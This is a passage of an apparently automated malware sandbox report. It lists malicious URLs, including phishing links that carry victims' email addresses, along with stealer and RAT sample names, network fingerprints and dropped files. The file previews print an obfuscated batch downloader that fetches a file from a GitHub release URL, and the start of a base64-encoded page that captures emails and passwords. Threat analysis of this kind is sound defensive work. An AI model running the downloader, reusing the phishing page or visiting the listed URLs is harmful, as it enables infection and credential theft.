	http://www.pej935.pro/Ume-ZD~Hl_1c0e5b67/C/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://Scotts2fa.solitran.ru/JtZiK3LK/#Dmark.ochs@scotts.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	2024 Tepa LLC RFP Proposal.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	igmbio.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://docs.google.com/presentation/d/e/2PACX-1vRMxSBYgTIj7bH-OYJSKudpxaekmSD6B-b603kyy-2ygb7TXyfRQC-hU8fjYDSrrObCUBq88ZmRswwh/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.17.24.14
	MOV-4106720318-MMS028.mp4.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://forms.office.com/e/YpaL2Dw0r2	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.cv/url?duf=FbLLcAJXWZoeUZJIjST2&lfg=uVQGQao2QJuMH6TEkmpq&sa=t&fmc=XCKeeJBBTaVsgNFTQcDe&url=amp%2Fshairmylife.com%2Fkam%2FOATWMWQPC27P047EIPR32X/YWxpc29ub0B0aG9ydWsuY29t	Get hash	malicious	Unknown	Browse	104.17.24.14
github.com	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	20.233.83.145
	PixelFlasher.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://github.com/greenshot/greenshot/releases/download/Greenshot-RELEASE-1.2.10.6/Greenshot-INSTALLER-1.2.10.6-RELEASE.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Downloader.hta	Get hash	malicious	Unknown	Browse	20.233.83.145
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Dfim58cp4J.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	20.233.83.145
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	20.233.83.145
	run.cmd	Get hash	malicious	Unknown	Browse	20.233.83.145
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
stackpath.bootstrapcdn.com	https://link.edgepilot.com/s/f30932b1/vPPKRjWXhUuvPsJT0zGKsQ?u=https://lf7oxrhbb.cc.rs6.net/tn.jsp?f=001h06J4Rg18suvxSEI1tED4DAF8iRuyxY1F6LaYcn7sb4iX7GBolUHc7ee-KUx3ocXE9JkVShRAfV1x6aenzzKcDmVc2_grDROu5C380NMdm5zgykpeK24RW4ydxOZY-zzWGqXDAcSMsLIRx7mTviOEg==%26c=rtZvyEmdrWl6DZ9XsciJKGlh47UQUNn-J3NXlYUvzX0mHT2yPp0J7g==%26ch=pbMEYYEPfkmXeu_oUdJD2iMHpz6dLW5FEUtMz_fcwAIrF1HSqrYuCA==%26__=wp-admin/wp/2XWV/Dcndx/c3Njb3R0QGRjbmR4LmNvbQ=%3D	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.11.207
	MOV-4106720318-MMS028.mp4.html	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://url41.mailanyone.net/scanner?m=1tLLkn-000000000Cu-3MPx&d=4%7Cmail%2F90%2F1733919600%2F1tLLkn-000000000Cu-3MPx%7Cin41e%7C57e1b682%7C16739527%7C12325088%7C67598451340A7E7E34A434AD05811D2E&o=%2Fphts%3A%2Futs.s-wr-2petncotsio.etooop%2F.cmhser%3Fd%26.dv%3D2HHu%3D60cMaRtwLyzWIN9dDWQ0j0ZBOMkiZTWDNZlNTGFmj1MdNMhhZDGDZOROGjYu2uZVcIshL13m9bRZWmNz%3D0bwLhYN%26iQVjj%3DWgZ2MNNTwzmZZWIZJlWwW%3DFkM0%26tM2l121NaQSdK5YKQ3FWZeheTURUTubJOt2oOSTWgZtZT2BvQlNBQl%3DUSThT0%26lR04%3D4d05f88a4f83c102fc8d7af5079V%266bP%3DANdsFUUEk0NThTVVNScUSYWBBbgJ7rzlyn1ERkBSzh9qmzIX6xvrbsyM8qb6f4HC59eiDbrDsPv9W1mhDcOFm%23uMyW5bUaWm5iAtZ5cVujem228YFYt9&s=dQ2VS6ieQ8nkhuwt32k9X8A6qOU	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://owotabua.cloudfederalservices.com/F3A4k	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://www.google.com/url?cad=XpPkDfJXVS0Y&cd=tS6T8Tiw9XH&esrc=nNeW8FA0xys8Em2FL&q=https://www.google.com/url?q=https://www.google.co.uk/url?q=https://www.google.co.uk/url?q=https://www.google.com/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XSwDnNeW8yycT&sa=t&source&uact&url=amp/statementrequestbqaa921pdf.uscourt-docs.com/0DGW4/&ved=xjnktlqryYWwZIBRrgvK	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://prezi.com/i/wuualyitwcxt/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
lipis.github.io	https://r.email.opinionbureau.com/tr/cl/sTXAttPkPoMJiMbf5hq7WZvcnENEoo034i53otaUUR5k6jvBSO0NtlTrf-1uPHmtRvNB_JEIU1SAH47JOljgkTZYukxAryTuy3VbaurRVyiN10h-wmQmXTPQytOVr5hqbeCmtCoSRCujoTR7W1FerAGAAMfh8OsPEK4Ae0v1VNBjKELJdKSeJHJNrTQyVcECzsNRtevMcP9H1wQEHWDgQFut_dqbdbow4lWTSNmNdHEPis1ZIhLg_Qy45H4B-mERAf44CX3sJrFydOvy3z-COqHqtMcWYsYHYpGVYA	Get hash	malicious	HTMLPhisher	Browse	185.199.109.153
	https://mydhl-delivery.github.io/express/#rnpc.certidaopermanente@dgrn.mj.pt	Get hash	malicious	Unknown	Browse	185.199.111.153
	OriginalMessage.txt.msg	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	https://spexatyraixors-web-movyr.pages.dev/#gabi.bieg@iprotex.de	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://linkpop.com/southeast283	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://mecinvoice.net/due/	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	Required Specifications & Plans..htm	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	REQUIRED SPECIFICATIONS & DRAWINGS..htm	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	https://bafybeifn47jywvhgzpcpcoitg5ftfimcmq6667ul2quva46dfyz3t6u3qq.ipfs.dweb.link/sharepoint.html#test@test.ch	Get hash	malicious	HTMLPhisher	Browse	185.199.110.153
	https://indd.adobe.com/view/852997ab-ca29-4b2f-a289-d3d61178125d	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.16.185.241
	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.137.232
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.136.232
	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	162.159.128.233
	ZS8xEqirxa.exe	Get hash	malicious	LummaC	Browse	104.21.27.188
	wV1Mk5PUmi.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	Rbeu9JMfnq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.213.48
FASTLYUS	Pl8Tb06C8A.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	Pl8Tb06C8A.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.1.137
	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	151.101.1.137
	creamkissingthingswithcreambananapackagecreamy.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.1.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
CLOUDFLARENETUS	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.16.185.241
	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.137.232
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.136.232
	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	162.159.128.233
	ZS8xEqirxa.exe	Get hash	malicious	LummaC	Browse	104.21.27.188
	wV1Mk5PUmi.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	Rbeu9JMfnq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.213.48
MICROSOFT-CORP-MSN-AS-BLOCKUS	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.78.241.93
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.44.157.180
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.170.50.65
	arm7.nn-20241213-0355.elf	Get hash	malicious	Mirai, Okiru	Browse	51.132.102.33
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.219.89.235
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.61.159.205
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.23.51.127
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.245.58.249
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.141.220.68
	b3astmode.mpsl.elf	Get hash	malicious	Mirai	Browse	20.109.3.212

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	https://liveisdestiny.me/librarydll2.exe	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	ZzS8KjNjr7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.1.237.91
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.1.237.91
	vuxDaHveW5.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	3jr0P5izLl.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://www.amberdrinks.lt/	Get hash	malicious	Unknown	Browse	23.1.237.91
	7H1FDG3DI1.exe	Get hash	malicious	RedLine, SectopRAT	Browse	23.1.237.91
3b5074b1b5d032e5620f69f9f700ff0e	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	20.233.83.145 185.199.111.133
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	20.233.83.145 185.199.111.133
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	20.233.83.145 185.199.111.133
	greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	20.233.83.145 185.199.111.133
	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	20.233.83.145 185.199.111.133
	creamkissingthingswithcreambananapackagecreamy.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	20.233.83.145 185.199.111.133
	file.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	20.233.83.145 185.199.111.133
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	20.233.83.145 185.199.111.133
	ShareGate.24.12.1.msi	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	http://mavenclinic.quatrix.it	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8587817025724305
Encrypted:	false
SSDEEP:	3072:gJjJGtpTq2yv1AuNZRY3diu8iBVqFJgLp0Vc:hpezNZQd58ifLp0Vc
MD5:	A8A4CFE2BAC3660287318C9C359DDEB2
SHA1:	139AB533DCA63C83BE6C33074D82E6F9474FB0F8
SHA-256:	B90211FDE372C3ECEC8B38B4F83E2A24FE2C59219005E3F2EB22115A5BF0C5B4
SHA-512:	86BDB1CC17A7CD69B722581E9A79E3B483FFD210FDFE9239F07AE524CE1D06149BCCDFAA2E889FEB2052C5653CBD83F2FAF9CC369C85F07DD93A668FBF57A61C
Malicious:	false
Reputation:	low
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x318dd651, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585906210113787
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	4EAD3A9C9098D748FD2B2EADD1919BAD
SHA1:	D871CF5C99E955B46469BFDBFE01E14E5E45FD98
SHA-256:	913575C8BDAD00690C8BB8004AD744CF96A456DC18FD118085AE429E3784E825
SHA-512:	4AAC70D6B02DDB00610B59524066C957C9CF09A9906BD40B223102B891E9A359FD1788BA3178A90DFFED9391B452846EAB7C965624533143C67A6DCB81554F2F
Malicious:	false
Reputation:	low
Preview:	1..Q... ...............X\...;...{......................0.z..........{...#...\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................z..m.#...\|=...................b..#...\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08069543236348752
Encrypted:	false
SSDEEP:	3:a/lKYea7ZbGuAJkhvekl1T5t7villrekGltll/SPj:eKzqZbrxlN5t7OJe3l
MD5:	177B92E752A6EB19053C907D65465BDC
SHA1:	81C2C9EF352B30A8E12D793DF327A7818107F355
SHA-256:	78EF8BACBDCD92AE1D5CBD55186556FF9FD0F6E761BA77D078049494A3038EAE
SHA-512:	F71FA3483C6445D1081A576752E16BDF5FCCFC7DC1D886178ACA92E14FF17C4AE3C0315ADB01E537F786535B7A9812E8E7C1C5D64804EF36EC453973BFF38882
Malicious:	false
Reputation:	low
Preview:	f>H......................................;...{...#...\|.......{...............{.......{...XL......{....................b..#...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat

Download File

Process:	C:\Users\user\Desktop\in.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (967), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	4.055697740431411
Encrypted:	false
SSDEEP:	12:NWvqE6pIwXzBj27BAD5rBD9AVkdXBDvQ7jEVfqzZzPV8EfLe65nXAZjDBM76iBAD:Qv/V+zthas2S6dGKohPJs2Snnwlyce2P
MD5:	92B5479F14154C2587F8A42D0208DC61
SHA1:	4A72BDBA76FC235692F59D049B078BE408F27ED5
SHA-256:	DFCAE3430D82ED3E9221B3CE5AC41ACD85540DE943AE9DFB2CF05E001299EEA9
SHA-512:	29B41142EFDD7E6BD2737654600564ED59BE0A00789B614F44E7DE44CDA33643C6D68CB834D028E5C1621F2C3A091A6780616D925E16D69CAF770682150A6541
Malicious:	false
Preview:	@shift /0....&@cls&@set ".i.=qleSLv0Nn@wDdRGzQ2KyiW17rcubIMJtO6PsVxEaUmjCBFgfH95Z3kX p8h4oTAY"..%.i.:~25,1%%.i.:~12,1%%.i.:~55,1%%TEMP%....%.i.:~56,1%%.i.:~60,1%%zY..V.%%.i.:~10,1%%.i.:~2,1%%.i.:~24,1%%.i.:~35,1%%.i.:~58,1%%.i.:~2,1%%.i.:~1,1%%.i.:~1,1%.%.i.:~2,1%%.i.:~37,1%%.i.:~2,1%%.i.:~55,1%-%.i.:~21,1%%.i.:~20,1%%.i.:~8,1%%.i.:~12,1%%.i.:~60,1%%.i.:~10,1%%.i.:~3,1%%.i.:~31,1%%.i.:~19,1%%.N.x.Q%%.i.:~1,1%%.i.:~2,1%%.i.:~55,1%%.i.:~48,1%%.i.:~20,1%%.i.:~12,1%%.i.:~12,1%%.i.:~2,1%%.i.:~8,1%%.i.:~55,1%-%.i.:~43,1%%.i.:~60,1%%.i.:~41,1%%.i.:~41,1%%.i.:~39,1%%.i.:~8,1%%.i.:~12,1%%.i.:~55,1%"%.i.:~28,1%%.i.:~8,1%%.i.:~5,1%%.i.:~60,1%%.i.:~53,1%%.i.:~2,1%-%.i.:~21,1%%.i.:~2,1%%.i.:~27,1%%.i.:~13,1%%.i.:~2,1%%.i.:~0,1%%.i.:~26,1%%.i.:~2,1%%.i.:~35,1%%.i.:~31,1%%.i.:~55,1%'%.i.:~58,1%%.i.:~31,1%%.i.:~31,1%%.i.:~56,1%%.i.:~35,1%://github.com/homboz/arht/releases/download/seht/archive.htm/'%.i.:~55,1%-%.i.:~60,1%%.i.:~26,1%%.i.:~31,1%%.i.:~47,1%%.i.:~20,1%%.i.:~1,1%%.i.:~2,1%%.i.:~55,1%%.i.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rluivb2.ixp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edkga1da.nkj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2v0voew.uaj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0kasdrk.lno.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\archive.htm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (65486), with CRLF line terminators
Category:	dropped
Size (bytes):	941603
Entropy (8bit):	5.630100395586954
Encrypted:	false
SSDEEP:	12288:7/0MWnxSxWphQqWeuWvLECNOHiztSDIhe78YhK7gkxgV5GStvS5BNgtysQhCziMn:LqSxJeuDmtS0heAQG9eV5VEmt1
MD5:	D68FBAD8A329E8C292A335E33F527BDE
SHA1:	BF407D9A06DE6F568B55E0B7E5DE8564F993854B
SHA-256:	52F94672E821898854AC7F443FA06686A6666FD5316570FCDA3EBC3D7B331709
SHA-512:	D7BF2E9D4FEA3FCD622038FD36C87B178AF256E8E27390BEF58C2F25003EA1C395F946CA17E851501F040D94CFC1AB5A0A6E51F6442D13E4596424CBE6DF066A
Malicious:	false
Preview:	<!DOCTYPE html>..<script type="text/javascript">..document.write(decodeURIComponent(atob('JTNDJTNGcGhwJTBBaWYlMjAlMjglMjRfU0VSVkVSJTVCJTIyUkVRVUVTVF9NRVRIT0QlMjIlNUQlMjAlM0QlM0QlMjAlMjJQT1NUJTIyJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTI0RW1haWwlMjAlM0QlMjBodG1sc3BlY2lhbGNoYXJzJTI4JTI0X1BPU1QlNUIlMjdFbWFpbCUyNyU1RCUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyNFBhc3N3b3JkJTIwJTNEJTIwaHRtbHNwZWNpYWxjaGFycyUyOCUyNF9QT1NUJTVCJTI3UGFzc3dvcmQlMjclNUQlMjklM0IlMEElN0QlMEElM0YlM0UlMEElMEElM0MlMjFET0NUWVBFJTIwaHRtbCUzRSUwQSUzQ2h0bWwlM0UlMEElMjAlMjAlM0NoZWFkJTNFJTBBJTIwJTIwJTIwJTIwJTNDbWV0YSUyMGNoYXJzZXQlM0QlMjJ1dGYtOCUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ3RpdGxlJTNFU2VjdXJlJTNDL3RpdGxlJTNFJTBBJTBBJTIwJTIwJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyMnNob3J0Y3V0JTIwaWNvbiUyMiUyMGhyZWYlM0QlMjJkYXRhJTNBaW1hZ2UvcG5nJTNCYmFzZTY0JTJDaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUI0QUFBQWVDQU1BQUFBTTdsNlFBQUFCZzFCTVZFVUFBQUFJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSFNMQUlTSzhJU2JFSVNiRUlTYkVJU0xFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSV

C:\Users\user\AppData\Local\Temp\shost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16895360
Entropy (8bit):	7.993419130235619
Encrypted:	true
SSDEEP:	393216:d9Yid4u1iwq3Obs2ClZW+eGQRe9joGBGcyez5t9H:d9YidRMwq3ObRqZW+e5Re9MWv
MD5:	E6C0AA5771A46907706063AE1D8B4FB9
SHA1:	966CE51DFB51CF7E9DB0C86EB35B964195C21BF2
SHA-256:	B76D1577BAAC7071B5243E8639007E2CDD406258D6DA07386FB0D638988D382F
SHA-512:	194BEEA483AF2A2BC844927DBCF6B1FF2E028CC5E10DD93D47917D24CBBA551F888B1FA795385F24BBB72EFC619F1C28C25E171437FD810FA87DE5EF895F313F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
